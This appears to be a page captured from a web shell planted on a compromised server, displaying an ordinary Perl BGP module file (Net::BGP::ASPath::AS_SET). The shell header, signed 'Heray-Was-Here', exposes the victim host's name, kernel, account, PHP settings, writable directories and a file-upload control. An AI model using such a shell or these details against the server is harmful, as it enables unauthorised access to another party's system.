Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/thread-self/root/usr/share/perl5/vendor_perl/Net/BGP/ASPath/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/perl5/vendor_perl/Net/BGP/ASPath/AS_SET.pm
#!/usr/bin/perl

package Net::BGP::ASPath::AS_SET;

use strict;

## Inheritance and Versioning ##

@Net::BGP::ASPath::AS_SET::ISA = qw( Net::BGP::ASPath::AS );
our $VERSION = '0.18';

sub type {
    return 1;
}

sub length {
    my $this = shift;

    # We really shouldn't see empty ones of these, but if we do,
    # we will treat them as zero.  But otherwise, RFC indicates
    # that in path computations, any AS_SET is equal to one hop.

    if (scalar(keys %$this)) {
        return 1;
    } else {
        return 0;
    }
}

sub asstring { as_string(@_) }

sub as_string {
    my $this = shift;
    return '{' . join(',', sort { $a <=> $b } keys %{$this}) . '}';
}

sub asarray {
    my $this = shift;
    return [ sort { $a <=> $b } keys %{$this} ];
}

sub merge {
    my $this = shift;
    foreach my $obj (@_) {
        foreach my $as (@{$obj}) {
            $this->{$as} = 1;
        }
    }
    return $this;
}

sub count {
    my $this = shift;

    return scalar(@{$this});
}

1;


Hry